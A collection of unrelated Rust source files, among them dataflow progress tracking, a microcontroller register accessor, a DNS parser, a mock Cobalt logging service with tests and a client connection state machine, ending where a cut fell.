if self.notify && external_progress.iter().any(|x| x.len() > 0) {
for input_port in (0..self.inputs) {
self.guarantees[input_port]
.update_into_cm(&external_progress[input_port], &mut self.guarantee_changes[input_port]);
}
// push any changes to the frontier to the subgraph.
if self.guarantee_changes.iter().any(|x| x.len() > 0) {
let changes = &mut self.guarantee_changes;
self.scope.as_mut().map(|scope| scope.push_external_progress(changes));
// TODO : Shouldn't be necessary
// for change in self.guarantee_changes.iter_mut() { change.clear(); }
debug_assert!(!changes.iter().any(|x| x.len() > 0));
}
}
}
pub fn pull_pointstamps(&mut self, pointstamp_messages: &mut CountMap<(usize, usize, T)>,
pointstamp_internal: &mut CountMap<(usize, usize, T)>) -> bool {
let active = {
::logging::log(&::logging::SCHEDULE, ::logging::ScheduleEvent { addr: self.addr.clone(), is_start: true });
let result = if let &mut Some(ref mut scope) = &mut self.scope {
scope.pull_internal_progress(&mut self.internal_progress,
&mut self.consumed_messages,
&mut self.produced_messages)
}
else { false };
::logging::log(&::logging::SCHEDULE, ::logging::ScheduleEvent { addr: self.addr.clone(), is_start: false });
result
};
// shutting down if nothing left to do
if self.scope.is_some() &&
!active &&
self.notify && // we don't track guarantees and capabilities for non-notify scopes. bug?
self.guarantees.iter().all(|guarantee| guarantee.empty()) &&
self.capabilities.iter().all(|capability| capability.empty()) {
// println!("Shutting down {}", self.name);
self.scope = None;
self.name = format!("{}(tombstone)", self.name);
}
// for each output: produced messages and internal progress
for output in (0..self.outputs) {
while let Some((time, delta)) = self.produced_messages[output].pop() {
for &(target, t_port) in self.edges[output].iter() {
pointstamp_messages.update((target, t_port, time), delta);
}
}
while let Some((time, delta)) = self.internal_progress[output].pop() {
pointstamp_internal.update(&(self.index, output, time), delta);
}
}
// for each input: consumed messages
for input in (0..self.inputs) {
while let Some((time, delta)) = self.consumed_messages[input].pop() {
pointstamp_messages.update(&(self.index, input, time), -delta);
}
}
return active;
}
pub fn add_edge(&mut self, output: usize, target: Target) { self.edges[output].push(target); }
pub fn name(&self) -> String { self.name.clone() }
}
|
#[doc = "Reader of register HWCFGR1"]
pub type R = crate::R<u32, super::HWCFGR1>;
#[doc = "Writer for register HWCFGR1"]
pub type W = crate::W<u32, super::HWCFGR1>;
#[doc = "Register HWCFGR1 `reset()`'s with value 0x0302_0100"]
impl crate::ResetValue for super::HWCFGR1 {
type Type = u32;
#[inline(always)]
fn reset_value() -> Self::Type {
0x0302_0100
}
}
#[doc = "Reader of field `CHMAP3`"]
pub type CHMAP3_R = crate::R<u8, u8>;
#[doc = "Write proxy for field `CHMAP3`"]
pub struct CHMAP3_W<'a> {
w: &'a mut W,
}
impl<'a> CHMAP3_W<'a> {
#[doc = r"Writes raw bits to the field"]
#[inline(always)]
pub unsafe fn bits(self, value: u8) -> &'a mut W {
self.w.bits = (self.w.bits & !0x1f) | ((value as u32) & 0x1f);
self.w
}
}
#[doc = "Reader of field `CHMAP2`"]
pub type CHMAP2_R = crate::R<u8, u8>;
#[doc = "Write proxy for field `CHMAP2`"]
pub struct CHMAP2_W<'a> {
w: &'a mut W,
}
impl<'a> CHMAP2_W<'a> {
#[doc = r"Writes raw bits to the field"]
#[inline(always)]
pub unsafe fn bits(self, value: u8) -> &'a mut W {
self.w.bits = (self.w.bits & !(0x1f << 8)) | (((value as u32) & 0x1f) << 8);
self.w
}
}
#[doc = "Reader of field `CHMAP1`"]
pub type CHMAP1_R = crate::R<u8, u8>;
#[doc = "Write proxy for field `CHMAP1`"]
pub struct CHMAP1_W<'a> {
w: &'a mut W,
}
impl<'a> CHMAP1_W<'a> {
#[doc = r"Writes raw bits to the field"]
#[inline(always)]
pub unsafe fn bits(self, value: u8) -> &'a mut W {
self.w.bits = (self.w.bits & !(0x1f << 16)) | (((value as u32) & 0x1f) << 16);
self.w
}
}
#[doc = "Reader of field `CHMAP0`"]
pub type CHMAP0_R = crate::R<u8, u8>;
#[doc = "Write proxy for field `CHMAP0`"]
pub struct CHMAP0_W<'a> {
w: &'a mut W,
}
impl<'a> CHMAP0_W<'a> {
#[doc = r"Writes raw bits to the field"]
#[inline(always)]
pub unsafe fn bits(self, value: u8) -> &'a mut W {
self.w.bits = (self.w.bits & !(0x1f << 24)) | (((value as u32) & 0x1f) << 24);
self.w
}
}
impl R {
#[doc = "Bits 0:4 - Input channel mapping"]
#[inline(always)]
pub fn chmap3(&self) -> CHMAP3_R {
CHMAP3_R::new((self.bits & 0x1f) as u8)
}
#[doc = "Bits 8:12 - Input channel mapping"]
#[inline(always)]
pub fn chmap2(&self) -> CHMAP2_R {
CHMAP2_R::new(((self.bits >> 8) & 0x1f) as u8)
}
#[doc = "Bits 16:20 - Input channel mapping"]
#[inline(always)]
pub fn chmap1(&self) -> CHMAP1_R {
CHMAP1_R::new(((self.bits >> 16) & 0x1f) as u8)
}
#[doc = "Bits 24:28 - Input channel mapping"]
#[inline(always)]
pub fn chmap0(&self) -> CHMAP0_R {
CHMAP0_R::new(((self.bits >> 24) & 0x1f) as u8)
}
}
impl W {
#[doc = "Bits 0:4 - Input channel mapping"]
#[inline(always)]
pub fn chmap3(&mut self) -> CHMAP3_W {
CHMAP3_W { w: self }
}
#[doc = "Bits 8:12 - Input channel mapping"]
#[inline(always)]
pub fn chmap2(&mut self) -> CHMAP2_W {
CHMAP2_W { w: self }
}
#[doc = "Bits 16:20 - Input channel mapping"]
#[inline(always)]
pub fn chmap1(&mut self) -> CHMAP1_W {
CHMAP1_W { w: self }
}
#[doc = "Bits 24:28 - Input channel mapping"]
#[inline(always)]
pub fn chmap0(&mut self) -> CHMAP0_W {
CHMAP0_W { w: self }
}
}
|
use super::header;
use super::question;
pub struct Message {
pub header: header::Header,
pub qd: Vec<question::Question>,
}
impl std::fmt::Display for Message {
fn fmt(&self, fmt: &mut std::fmt::Formatter) -> std::fmt::Result {
println!("-------");
for i in &self.qd {
writeln!(fmt, "{}", i).unwrap();
}
println!("-------");
write!(fmt, "{}\n", self.header)
}
}
pub fn unpack(message: &Vec<u8>) -> Option<(Message, usize)> {
let header = match header::unpack(message) {
Some(v) => v,
None => return None,
};
let mut offset = 12;
let mut qd = Vec::new();
for _ in 0..header.QDCount {
match question::unpack(message, offset) {
Some((q, o)) => {
qd.push(q);
offset = o;
}
None => {
return None;
}
}
}
return Some((Message { header, qd }, offset));
}
|
extern crate analytics_proto as ap;
extern crate chrono;
use ap::*;
use chrono::UTC;
fn main() {
extern crate serde_json;
fn make_event(message: Message) -> Event {
Event {
received_time: UTC::now(),
serviced_time: UTC::now(),
success: true,
message: message,
}
}
println!("All Channels: {}",
serde_json::to_string(&make_event(Message::AllChannels { num_channels: 5 })).unwrap());
println!("Create Channel: {}",
serde_json::to_string(&make_event(Message::CreateChannel { channel: "boo!".into() }))
.unwrap());
println!("Get Channel: {}",
serde_json::to_string(&make_event(Message::GetChannel {
channel: "boo!".into(),
number_served: 42,
}))
.unwrap());
println!("Delete Channel: {}",
serde_json::to_string(&make_event(Message::DelChannel { channel: "wah!".into() }))
.unwrap());
println!("Send Message: {}",
serde_json::to_string(&make_event(Message::SendMessage {
channel: "boo!".into(),
message: "woah, you scared me!".into(),
}))
.unwrap());
println!("Get Message: {}",
serde_json::to_string(&make_event(Message::GetMessage)).unwrap());
println!("Update Message: {}",
serde_json::to_string(&make_event(Message::UpdateMessage {
channel: "boo!".into(),
old_message: "woah, you scared me!".into(),
new_message: "woah, the channel name scared me!"
.into(),
}))
.unwrap());
println!("Delete Message: {}",
serde_json::to_string(&make_event(Message::DeleteMessage {
channel: "boo!".into(),
message: "woah, the channel name scared me!"
.into(),
}))
.unwrap());
}
|
use anyhow::Result;
use bytes::Bytes;
use futures::future;
use crate::core::Filesystem;
use crate::util::Node;
pub struct FilesystemChain {
systems: Vec<Box<dyn Filesystem>>,
}
impl FilesystemChain {
pub fn new(systems: Vec<Box<dyn Filesystem>>) -> Self {
Self { systems }
}
pub async fn delete_file(&self, path: &String) -> anyhow::Result<()> {
let mut fut = vec![];
for system in self.systems.iter() {
fut.push(system.delete_file(path));
}
future::join_all(fut).await;
Ok(())
}
pub async fn delete_directory(&self, path: &String) -> anyhow::Result<()> {
let mut fut = vec![];
for system in self.systems.iter() {
fut.push(system.delete_directory(path));
}
future::join_all(fut).await;
Ok(())
}
pub async fn list_directory(&self, path: &String) -> Result<Vec<Vec<Node>>> {
let mut nodes = vec![];
for system in self.systems.iter() {
nodes.push(system.list_directory(path).await?);
}
Ok(nodes)
}
pub async fn create_directory(&self, path: &String) -> anyhow::Result<()> {
let mut fut = vec![];
for system in self.systems.iter() {
fut.push(system.create_directory(path));
}
future::join_all(fut).await;
Ok(())
}
pub async fn write_file(&self, path: &String, contents: Option<&Bytes>) -> anyhow::Result<()> {
let mut fut = vec![];
for system in self.systems.iter() {
fut.push(system.write_file(path, contents));
}
future::join_all(fut).await;
Ok(())
}
}
|
// Copyright 2022 Datafuse Labs.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
use common_exception::ErrorCode;
use common_exception::Result;
use common_expression::types::AnyType;
use common_expression::BlockEntry;
use common_expression::DataBlock;
use common_expression::TableField;
use common_expression::TableSchemaRef;
use common_expression::Value;
use crate::hive_partition::HivePartInfo;
use crate::utils::str_field_to_scalar;
#[derive(Debug, Clone)]
pub struct HivePartitionFiller {
pub partition_fields: Vec<TableField>,
}
impl HivePartitionFiller {
pub fn create(_schema: TableSchemaRef, partition_fields: Vec<TableField>) -> Self {
HivePartitionFiller { partition_fields }
}
fn generate_value(
&self,
_num_rows: usize,
value: String,
field: &TableField,
) -> Result<Value<AnyType>> {
let value = str_field_to_scalar(&value, &field.data_type().into())?;
Ok(Value::Scalar(value))
}
fn extract_partition_values(&self, hive_part: &HivePartInfo) -> Result<Vec<String>> {
let partition_map = hive_part.get_partition_map();
let mut partition_values = vec![];
for field in self.partition_fields.iter() {
match partition_map.get(field.name()) {
Some(v) => partition_values.push(v.to_string()),
None => {
return Err(ErrorCode::TableInfoError(format!(
"could't find hive partition info :{}, hive partition maps:{:?}",
field.name(),
partition_map
)));
}
};
}
Ok(partition_values)
}
pub fn fill_data(
&self,
data_block: DataBlock,
part: &HivePartInfo,
origin_num_rows: usize,
) -> Result<DataBlock> {
let data_values = self.extract_partition_values(part)?;
// create column, create datafiled
let mut num_rows = data_block.num_rows();
if num_rows == 0 {
num_rows = origin_num_rows;
}
let mut columns = data_block.columns().to_vec();
for (i, field) in self.partition_fields.iter().enumerate() {
let value = &data_values[i];
let column = self.generate_value(num_rows, value.clone(), field)?;
columns.push(BlockEntry {
data_type: field.data_type().into(),
value: column,
});
}
Ok(DataBlock::new(columns, num_rows))
}
}
|
#[cfg(feature = "datastore")]
mod datastore;
#[cfg(feature = "pubsub")]
mod pubsub;
#[cfg(feature = "storage")]
mod storage;
#[cfg(feature = "vision")]
mod vision;
|
// Copyright 2019 The Fuchsia Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
use {
failure::Error,
fidl_fuchsia_cobalt::{
self as cobalt, CobaltEvent, LoggerFactoryRequest::CreateLoggerFromProjectName,
},
fidl_fuchsia_cobalt_test as cobalt_test, fuchsia_async as fasync,
fuchsia_cobalt::CobaltEventExt,
fuchsia_syslog::{self as syslog, fx_log_info},
futures::{lock::Mutex, StreamExt, TryStreamExt},
std::{collections::HashMap, sync::Arc},
};
/// MAX_QUERY_LENGTH is used as a usize in this component
const MAX_QUERY_LENGTH: usize = cobalt_test::MAX_QUERY_LENGTH as usize;
#[derive(Default)]
// Does not record StartTimer, EndTimer, and LogCustomEvent requests
struct EventsLog {
log_event: Vec<CobaltEvent>,
log_event_count: Vec<CobaltEvent>,
log_elapsed_time: Vec<CobaltEvent>,
log_frame_rate: Vec<CobaltEvent>,
log_memory_usage: Vec<CobaltEvent>,
log_string: Vec<CobaltEvent>,
log_int_histogram: Vec<CobaltEvent>,
log_cobalt_event: Vec<CobaltEvent>,
log_cobalt_events: Vec<CobaltEvent>,
}
type EventsLogHandle = Arc<Mutex<EventsLog>>;
type LoggersHandle = Arc<Mutex<HashMap<String, EventsLogHandle>>>;
/// Create a new Logger. Accepts all `project_name` values.
async fn run_cobalt_service(
mut stream: cobalt::LoggerFactoryRequestStream,
loggers: LoggersHandle,
) -> Result<(), Error> {
while let Some(event) = stream.try_next().await? {
if let CreateLoggerFromProjectName { project_name, logger, responder, release_stage: _ } =
event
{
let log = loggers
.lock()
.await
.entry(project_name)
.or_insert_with(EventsLogHandle::default)
.clone();
fasync::spawn_local(handle_cobalt_logger(logger.into_stream()?, log));
responder.send(cobalt::Status::Ok)?;
} else {
unimplemented!(
"Logger factory request of type {:?} not supported by mock cobalt service",
event
);
}
}
Ok(())
}
/// Accepts all incoming log requests and records them in an in-memory store
async fn handle_cobalt_logger(mut stream: cobalt::LoggerRequestStream, log: EventsLogHandle) {
use cobalt::LoggerRequest::*;
while let Some(Ok(event)) = stream.next().await {
let mut log = log.lock().await;
match event {
LogEvent { metric_id, event_code, responder } => {
log.log_event
.push(CobaltEvent::builder(metric_id).with_event_code(event_code).as_event());
let _ = responder.send(cobalt::Status::Ok);
}
LogEventCount {
metric_id,
event_code,
component,
period_duration_micros,
count,
responder,
} => {
log.log_event_count.push(
CobaltEvent::builder(metric_id)
.with_event_code(event_code)
.with_component(component)
.as_count_event(period_duration_micros, count),
);
let _ = responder.send(cobalt::Status::Ok);
}
LogElapsedTime { metric_id, event_code, component, elapsed_micros, responder } => {
log.log_elapsed_time.push(
CobaltEvent::builder(metric_id)
.with_event_code(event_code)
.with_component(component)
.as_elapsed_time(elapsed_micros),
);
let _ = responder.send(cobalt::Status::Ok);
}
LogFrameRate { metric_id, event_code, component, fps, responder } => {
log.log_frame_rate.push(
CobaltEvent::builder(metric_id)
.with_event_code(event_code)
.with_component(component)
.as_frame_rate(fps),
);
let _ = responder.send(cobalt::Status::Ok);
}
LogMemoryUsage { metric_id, event_code, component, bytes, responder } => {
log.log_memory_usage.push(
CobaltEvent::builder(metric_id)
.with_event_code(event_code)
.with_component(component)
.as_memory_usage(bytes),
);
let _ = responder.send(cobalt::Status::Ok);
}
LogString { metric_id, s, responder } => {
log.log_string.push(CobaltEvent::builder(metric_id).as_string_event(s));
let _ = responder.send(cobalt::Status::Ok);
}
LogIntHistogram { metric_id, event_code, component, histogram, responder } => {
log.log_int_histogram.push(
CobaltEvent::builder(metric_id)
.with_event_code(event_code)
.with_component(component)
.as_int_histogram(histogram),
);
let _ = responder.send(cobalt::Status::Ok);
}
LogCobaltEvent { event, responder } => {
log.log_cobalt_event.push(event);
let _ = responder.send(cobalt::Status::Ok);
}
LogCobaltEvents { mut events, responder } => {
log.log_cobalt_events.append(&mut events);
let _ = responder.send(cobalt::Status::Ok);
}
e => unimplemented!("Event {:?} is not supported by the mock cobalt server", e),
}
}
}
/// Handles requests to query the state of the mock.
async fn run_cobalt_query_service(
mut stream: cobalt_test::LoggerQuerierRequestStream,
loggers: LoggersHandle,
) -> Result<(), Error> {
use cobalt_test::LogMethod::*;
while let Some(event) = stream.try_next().await? {
match event {
cobalt_test::LoggerQuerierRequest::QueryLogger { project_name, method, responder } => {
if let Some(log) = loggers.lock().await.get(&project_name) {
let mut log = log.lock().await;
let events = match method {
LogEvent => &mut log.log_event,
LogEventCount => &mut log.log_event_count,
LogElapsedTime => &mut log.log_elapsed_time,
LogFrameRate => &mut log.log_frame_rate,
LogMemoryUsage => &mut log.log_memory_usage,
LogString => &mut log.log_string,
LogIntHistogram => &mut log.log_int_histogram,
LogCobaltEvent => &mut log.log_cobalt_event,
LogCobaltEvents => &mut log.log_cobalt_events,
};
let more = events.len() > cobalt_test::MAX_QUERY_LENGTH as usize;
let events = events.iter().take(MAX_QUERY_LENGTH).map(Clone::clone).collect();
responder.send(&mut Ok((events, more)))?;
} else {
responder.send(&mut Err(cobalt_test::QueryError::LoggerNotFound))?;
}
}
cobalt_test::LoggerQuerierRequest::ResetLogger {
project_name,
method,
control_handle: _,
} => {
if let Some(log) = loggers.lock().await.get(&project_name) {
let mut log = log.lock().await;
match method {
LogEvent => log.log_event.clear(),
LogEventCount => log.log_event_count.clear(),
LogElapsedTime => log.log_elapsed_time.clear(),
LogFrameRate => log.log_frame_rate.clear(),
LogMemoryUsage => log.log_memory_usage.clear(),
LogString => log.log_string.clear(),
LogIntHistogram => log.log_int_histogram.clear(),
LogCobaltEvent => log.log_cobalt_event.clear(),
LogCobaltEvents => log.log_cobalt_events.clear(),
}
}
}
}
}
Ok(())
}
#[fasync::run_singlethreaded]
async fn main() -> Result<(), Error> {
syslog::init_with_tags(&["mock-cobalt"]).expect("Can't init logger");
fx_log_info!("Starting mock cobalt service...");
let loggers = LoggersHandle::default();
let loggers_copy = loggers.clone();
let mut fs = fuchsia_component::server::ServiceFs::new_local();
fs.dir("svc")
.add_fidl_service(move |stream| {
let loggers = loggers.clone();
fasync::spawn_local(async move {
run_cobalt_service(stream, loggers).await.expect("failed to run cobalt service");
})
})
.add_fidl_service(move |stream| {
let loggers = loggers_copy.clone();
fasync::spawn_local(async move {
run_cobalt_query_service(stream, loggers)
.await
.expect("failed to run cobalt query service");
})
});
fs.take_and_serve_directory_handle()?;
fs.collect::<()>().await;
Ok(())
}
#[cfg(test)]
mod tests {
use super::*;
use fidl::endpoints::{create_proxy, create_proxy_and_stream};
use fidl_fuchsia_cobalt::*;
use fidl_fuchsia_cobalt_test::{LogMethod, LoggerQuerierMarker, QueryError};
use fuchsia_async as fasync;
use futures::FutureExt;
#[fasync::run_until_stalled(test)]
async fn mock_logger_factory() {
let loggers = LoggersHandle::default();
let (factory_proxy, factory_stream) = create_proxy_and_stream::<LoggerFactoryMarker>()
.expect("create logger factroy proxy and stream to succeed");
let (_logger_proxy, server) =
create_proxy::<LoggerMarker>().expect("create logger proxy and server end to succeed");
fasync::spawn_local(run_cobalt_service(factory_stream, loggers.clone()).map(|_| ()));
assert!(loggers.lock().await.is_empty());
factory_proxy
.create_logger_from_project_name("foo", ReleaseStage::Ga, server)
.await
.expect("create_logger_from_project_name fidl call to succeed");
assert!(loggers.lock().await.get("foo").is_some());
}
#[fasync::run_until_stalled(test)]
async fn mock_logger_and_query_interface_single_event() {
let loggers = LoggersHandle::default();
// Create channels
let (factory_proxy, factory_stream) = create_proxy_and_stream::<LoggerFactoryMarker>()
.expect("create logger factroy proxy and stream to succeed");
let (logger_proxy, server) =
create_proxy::<LoggerMarker>().expect("create logger proxy and server end to succeed");
let (querier_proxy, query_stream) = create_proxy_and_stream::<LoggerQuerierMarker>()
.expect("create logger querier proxy and stream to succeed");
// Spawn service handlers. Any failures in the services spawned here will trigger panics
// via expect method calls below.
fasync::spawn_local(run_cobalt_service(factory_stream, loggers.clone()).map(|_| ()));
fasync::spawn_local(run_cobalt_query_service(query_stream, loggers.clone()).map(|_| ()));
factory_proxy
.create_logger_from_project_name("foo", ReleaseStage::Ga, server)
.await
.expect("create_logger_from_project_name fidl call to succeed");
// Log a single event
logger_proxy.log_event(1, 2).await.expect("log_event fidl call to succeed");
assert_eq!(
Ok((vec![CobaltEvent::builder(1).with_event_code(2).as_event()], false)),
querier_proxy
.query_logger("foo", LogMethod::LogEvent)
.await
.expect("log_event fidl call to succeed")
);
}
#[fasync::run_until_stalled(test)]
async fn mock_logger_and_query_interface_multiple_events() {
let loggers = LoggersHandle::default();
// Create channels
let (factory_proxy, factory_stream) = create_proxy_and_stream::<LoggerFactoryMarker>()
.expect("create logger factroy proxy and stream to succeed");
let (logger_proxy, server) =
create_proxy::<LoggerMarker>().expect("create logger proxy and server end to succeed");
let (querier_proxy, query_stream) = create_proxy_and_stream::<LoggerQuerierMarker>()
.expect("create logger querier proxy and stream to succeed");
// Spawn service handlers. Any failures in the services spawned here will trigger panics
// via expect method calls below.
fasync::spawn_local(run_cobalt_service(factory_stream, loggers.clone()).map(|_| ()));
fasync::spawn_local(run_cobalt_query_service(query_stream, loggers.clone()).map(|_| ()));
factory_proxy
.create_logger_from_project_name("foo", ReleaseStage::Ga, server)
.await
.expect("create_logger_from_project_name fidl call to succeed");
// Log 1 more than the maximum number of events that can be stored and assert that
// `more` flag is true on logger query request
for i in 0..(MAX_QUERY_LENGTH as u32 + 1) {
logger_proxy
.log_event(i, i + 1)
.await
.expect("repeated log_event fidl call to succeed");
}
let (events, more) = querier_proxy
.query_logger("foo", LogMethod::LogEvent)
.await
.expect("query_logger fidl call to succeed")
.expect("logger to exist and have recorded events");
assert_eq!(CobaltEvent::builder(0).with_event_code(1).as_event(), events[0]);
assert_eq!(MAX_QUERY_LENGTH, events.len());
assert!(more);
}
#[fasync::run_until_stalled(test)]
async fn mock_query_interface_no_logger_error() {
let loggers = LoggersHandle::default();
// Create channel
let (querier_proxy, query_stream) = create_proxy_and_stream::<LoggerQuerierMarker>()
.expect("create logger querier proxy and stream to succeed");
// Spawn service handler. Any failures in the service spawned here will trigger panics
// via expect method calls below.
fasync::spawn_local(run_cobalt_query_service(query_stream, loggers.clone()).map(|_| ()));
// Assert on initial state
assert_eq!(
Err(QueryError::LoggerNotFound),
querier_proxy
.query_logger("foo", LogMethod::LogEvent)
.await
.expect("query_logger fidl call to succeed")
);
}
#[fasync::run_until_stalled(test)]
async fn mock_logger_logger_type_tracking() -> Result<(), fidl::Error> {
let loggers = LoggersHandle::default();
let (factory_proxy, factory_stream) = create_proxy_and_stream::<LoggerFactoryMarker>()
.expect("create logger factroy proxy and stream to succeed");
let (logger_proxy, server) =
create_proxy::<LoggerMarker>().expect("create logger proxy and server end to succeed");
fasync::spawn_local(run_cobalt_service(factory_stream, loggers.clone()).map(|_| ()));
let project_name = "foo";
factory_proxy
.create_logger_from_project_name(project_name, ReleaseStage::Ga, server)
.await
.expect("create_logger_from_project_name fidl call to succeed");
let metric_id = 1;
let event_code = 2;
let component_name = "component";
let period_duration_micros = 0;
let count = 3;
let frame_rate: f32 = 59.9;
logger_proxy.log_event(metric_id, event_code).await?;
logger_proxy
.log_event_count(metric_id, event_code, component_name, period_duration_micros, count)
.await?;
logger_proxy
.log_elapsed_time(metric_id, event_code, component_name, period_duration_micros)
.await?;
logger_proxy.log_memory_usage(metric_id, event_code, component_name, count).await?;
logger_proxy.log_frame_rate(metric_id, event_code, component_name, frame_rate).await?;
logger_proxy.log_string(metric_id, component_name).await?;
logger_proxy
.log_int_histogram(metric_id, event_code, component_name, &mut vec![].into_iter())
.await?;
logger_proxy
.log_cobalt_event(&mut cobalt::CobaltEvent {
metric_id,
event_codes: vec![event_code],
component: Some(component_name.to_string()),
payload: cobalt::EventPayload::Event(cobalt::Event {}),
})
.await?;
logger_proxy.log_cobalt_events(&mut vec![].into_iter()).await?;
let log = loggers.lock().await;
let log = log.get(project_name).expect("project should have been created");
let log = log.lock().await;
assert_eq!(log.log_event.len(), 1);
assert_eq!(log.log_event_count.len(), 1);
assert_eq!(log.log_elapsed_time.len(), 1);
assert_eq!(log.log_memory_usage.len(), 1);
assert_eq!(log.log_frame_rate.len(), 1);
assert_eq!(log.log_string.len(), 1);
assert_eq!(log.log_int_histogram.len(), 1);
assert_eq!(log.log_cobalt_event.len(), 1);
Ok(())
}
#[fasync::run_until_stalled(test)]
async fn mock_query_interface_reset_state() {
let loggers = LoggersHandle::default();
// Create channels
let (factory_proxy, factory_stream) = create_proxy_and_stream::<LoggerFactoryMarker>()
.expect("create logger factroy proxy and stream to succeed");
let (logger_proxy, server) =
create_proxy::<LoggerMarker>().expect("create logger proxy and server end to succeed");
let (querier_proxy, query_stream) = create_proxy_and_stream::<LoggerQuerierMarker>()
.expect("create logger querier proxy and stream to succeed");
// Spawn service handlers. Any failures in the services spawned here will trigger panics
// via expect method calls below.
fasync::spawn_local(run_cobalt_service(factory_stream, loggers.clone()).map(|_| ()));
fasync::spawn_local(run_cobalt_query_service(query_stream, loggers.clone()).map(|_| ()));
factory_proxy
.create_logger_from_project_name("foo", ReleaseStage::Ga, server)
.await
.expect("create_logger_from_project_name fidl call to succeed");
// Log a single event
logger_proxy.log_event(1, 2).await.expect("log_event fidl call to succeed");
assert_eq!(
Ok((vec![CobaltEvent::builder(1).with_event_code(2).as_event()], false)),
querier_proxy
.query_logger("foo", LogMethod::LogEvent)
.await
.expect("log_event fidl call to succeed")
);
// Clear logger state
querier_proxy
.reset_logger("foo", LogMethod::LogEvent)
.expect("reset_logger fidl call to succeed");
assert_eq!(
Ok((vec![], false)),
querier_proxy
.query_logger("foo", LogMethod::LogEvent)
.await
.expect("query_logger fidl call to succeed")
);
}
}
|
use std::io::Read;
fn read<T: std::str::FromStr>() -> T {
let token: String = std::io::stdin()
.bytes()
.map(|c| c.ok().unwrap() as char)
.skip_while(|c| c.is_whitespace())
.take_while(|c| !c.is_whitespace())
.collect();
token.parse().ok().unwrap()
}
fn main() {
let a: i32 = read();
let b: i32 = read();
let c: i32 = read();
let d: i32 = read();
let nl = "null";
let tr = "tRue";
let ans = if a != c {
if a > c {
nl
} else {
tr
}
} else if b != d {
let e = b - d;
if e == -1 || e == 2 {
nl
} else {
tr
}
} else {
"Draw"
};
println!("{}", ans);
}
|
// Copyright 2019 The Fuchsia Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
use structopt::StructOpt;
#[derive(StructOpt, Clone, Debug)]
/// Simple integration test verifing basic AP WiFi functionality:
/// list interfaces, get status, start AP on an interface, have clients
// scan, connect and disconnect from the AP, stop AP. Repeat for
// all interfaces that support AP role.
pub struct Opt {
/// SSID of the network to use in the test
#[structopt(name = "target_ssid", raw(required = "true"))]
pub target_ssid: String,
/// password for the target network
#[structopt(short = "p", long = "target_pwd", default_value = "")]
pub target_pwd: String,
#[structopt(short = "c", long = "target_channel", default_value = "6")]
pub target_channel: u8,
}
|
/** client connection sequence **/
mod sub_sm;
use crate::{
message::{AuthType, ChannelName, NowCapset, NowChannelDef, NowMessage},
sm::{
ConnectionSM, ConnectionSMResult, ConnectionSMSharedData, ConnectionSMSharedDataRc, ConnectionSeqCallbackTrait,
ConnectionState, DummyConnectionSM,
},
};
use std::{cell::RefCell, rc::Rc};
pub struct ClientConnectionSeqSM<UserCallback> {
user_callback: UserCallback,
state: ConnectionState,
current_sm: Box<dyn ConnectionSM>,
authenticate_sm: Box<dyn ConnectionSM>,
shared_data: ConnectionSMSharedDataRc,
}
impl<UserCallback> ClientConnectionSeqSM<UserCallback>
where
UserCallback: ConnectionSeqCallbackTrait,
{
pub fn builder(user_callback: UserCallback) -> ClientConnectionSeqBuilder<UserCallback> {
ClientConnectionSeqBuilder {
user_callback,
available_auth_types: Vec::new(),
authenticate_sm: Box::new(DummyConnectionSM),
capabilities: Vec::new(),
channels_to_open: Vec::new(),
}
}
pub fn new(
user_callback: UserCallback,
available_auth_types: Vec<AuthType>,
authenticate_sm: Box<dyn ConnectionSM>,
capabilities: Vec<NowCapset<'static>>,
channels_to_open: Vec<NowChannelDef>,
) -> Self {
Self {
user_callback,
state: ConnectionState::Handshake,
current_sm: Box::new(sub_sm::HandshakeSM::new()),
authenticate_sm,
shared_data: Rc::new(RefCell::new(ConnectionSMSharedData {
available_auth_types,
capabilities,
channels: channels_to_open,
})),
}
}
pub fn get_state(&self) -> ConnectionState {
self.state
}
fn __check_result(&mut self, result: &ConnectionSMResult<'_>) {
if result.is_err() {
log::trace!("an error occurred. Set connection state machine to final state.");
self.state = ConnectionState::Final;
}
}
fn __go_to_next_state(&mut self) {
match self.state {
ConnectionState::Handshake => {
self.state = ConnectionState::Negotiate;
self.current_sm = Box::new(sub_sm::NegotiateSM::new(Rc::clone(&self.shared_data)));
self.user_callback.on_handshake_completed(&self.shared_data.borrow());
}
ConnectionState::Negotiate => {
self.state = ConnectionState::Authenticate;
self.authenticate_sm.set_shared_data(Rc::clone(&self.shared_data));
std::mem::swap(&mut self.current_sm, &mut self.authenticate_sm);
// set invalid authenticate_sm field to dummy connection state machine
let mut dummy_sm: Box<dyn ConnectionSM> = Box::new(DummyConnectionSM);
std::mem::swap(&mut self.authenticate_sm, &mut dummy_sm);
self.user_callback.on_negotiate_completed(&self.shared_data.borrow());
}
ConnectionState::Authenticate => {
self.state = ConnectionState::Associate;
self.current_sm = Box::new(sub_sm::AssociateSM::new());
self.user_callback.on_authenticate_completed(&self.shared_data.borrow());
}
ConnectionState::Associate => {
self.state = ConnectionState::Capabilities;
self.current_sm = Box::new(sub_sm::CapabilitiesSM::new(Rc::clone(&self.shared_data)));
self.user_callback.on_associate_completed(&self.shared_data.borrow());
}
ConnectionState::Capabilities => {
self.state = ConnectionState::Channels;
self.current_sm = Box::new(sub_sm::ChannelsSM::new(Rc::clone(&self.shared_data)));
self.user_callback.on_capabilities_completed(&self.shared_data.borrow());
}
ConnectionState::Channels => {
self.state = ConnectionState::Final;
self.user_callback.on_connection_completed(&self.shared_data.borrow());
}
ConnectionState::Final => log::warn!("Attempted to go to the next state from the final state."),
}
}
}
impl<UserCallback> ConnectionSM for ClientConnectionSeqSM<UserCallback>
where
UserCallback: ConnectionSeqCallbackTrait,
{
fn set_shared_data(&mut self, shared_data: ConnectionSMSharedDataRc) {
self.shared_data = shared_data
}
fn get_shared_data(&self) -> Option<ConnectionSMSharedDataRc> {
Some(Rc::clone(&self.shared_data))
}
fn is_terminated(&self) -> bool {
self.state == ConnectionState::Final
}
fn waiting_for_packet(&self) -> bool {
self.current_sm.waiting_for_packet()
}
fn update_without_message<'msg>(&mut self) -> ConnectionSMResult<'msg> {
